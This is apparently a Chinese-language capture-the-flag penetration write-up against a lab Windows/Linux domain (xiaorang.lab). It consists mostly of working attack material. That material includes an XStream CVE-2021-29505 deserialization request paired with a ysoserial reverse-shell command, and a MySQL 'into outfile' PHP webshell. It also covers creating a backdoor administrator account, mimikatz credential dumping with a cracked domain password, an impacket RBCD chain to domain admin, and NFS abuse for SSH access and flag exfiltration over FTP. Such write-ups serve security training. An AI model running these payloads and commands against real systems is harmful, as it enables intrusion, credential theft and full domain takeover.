flag01
外网有一个 ftp
里面有个 pom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
| <?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.2</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>ezjava</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>ezjava</name>
<description>ezjava</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.16</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
|
说明里面有 xstream 服务。
https://github.com/vulhub/vulhub/blob/master/xstream/CVE-2021-29505/README.zh-cn.md
1
| java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,Yxx}|{base64,-d}|{bash,-i}"
|
PoC：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
| POST /just_sumbit_it HTTP/1.1
Host: 39.98.119.159:8080
Content-Length: 3119
Accept: application/xml, text/xml, */*; q=0.01
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/xml;charset=UTF-8
Origin: http://39.98.119.159:8080
Referer: http://39.98.119.159:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Content-Type: application/xml
Connection: close
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
<names>
<string>aa</string>
<string>aa</string>
</names>
<ctx>
<environment/>
<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
<java.rmi.server.RemoteObject>
<string>UnicastRef</string>
<string>xxx</string>
<int>1099</int>
<long>0</long>
<int>0</int>
<long>0</long>
<short>0</short>
<boolean>false</boolean>
</java.rmi.server.RemoteObject>
</registry>
<host>xxx</host>
<port>1099</port>
</ctx>
</candidates>
</aliases>
</nullIter>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
|
flag03
有个 mysql 弱口令，挂代理直接连。不能 udf，尝试写入文件。
1
| show VARIABLES like "secure_file_priv";
|
能写入文件。
1
| show variables like "%general%"
|
发现是 phpstudy。
直接写入。
1
| select "<?php eval($_POST[1]);?>" into outfile "C:/phpstudy_pro/WWW/1.php";
|
flag04
怎么少个 flag
1
2
| net user natro92 123qwe!@
net localgroup administrators natro92 /add
|
连 rdp 抓明文密码：
1
| mimikatz "privilege::debug" "log" "sekurlsa::debug" > 1.txt
|
抓到 Hash
XIAORANG/chenglei:Xt61f3LBhg1
然后就是 RBCD：
1
| addcomputer.py -method SAMR XIAORANG/chenglei:Xt61f3LBhg1 -computer-name test$ -computer-pass '123qwe!@#' -dc-ip 172.22.13.6
|
1
| rbcd.py XIAORANG/chenglei:Xt61f3LBhg1 -dc-ip 172.22.13.6 -action write -delegate-to 'WIN-DC$' -delegate-from 'test$'
|
1
| getST.py -dc-ip 172.22.13.6 xiaorang.lab/test`$:123qwe!@
|
1
2
| $env:KRB5CCNAME='administrator@cifs_WIN-DC.xiaorang.lab@XIAORANG.LAB.ccache'
psexec.py Administrator@WIN-DC.xiaorang.lab -target-ip 172.22.13.6 -dc-ip 172.22.13.6 -no-pass -k -codec gbk
|
加个 target-ip 参数就不用改 host 了。
flag03
最后这个一直都没找到。任务提示了说在内网有 NFS 服务。
https://xz.aliyun.com/t/11664#toc-12
https://xz.aliyun.com/news/11110
得先给它下个 nfs-common
1
2
3
4
5
6
| cd /
apt-get update
apt-get install nfs-common
showmount -e 172.22.13.57
mkdir temp
mount -t nfs 172.22.13.57:/ ./temp -o nolock
|
写公钥给 authorized_keys 然后直接用密钥链接。
看不了 flag，能看 pass。
1
| xiaorang.lab/zhangwen\QT62f3gBhK1
|
suid 提权
1
| find / -user root -perm -4000 -print 2>/dev/null
|
得先用 13.14 起一个 ftp
1
| python3 -m pyftpdlib -p 6666 -u test -P test -w
|
然后用挂载的用户把 flag 上传到 ftp 上面
回到最开始的位置读取 flag。
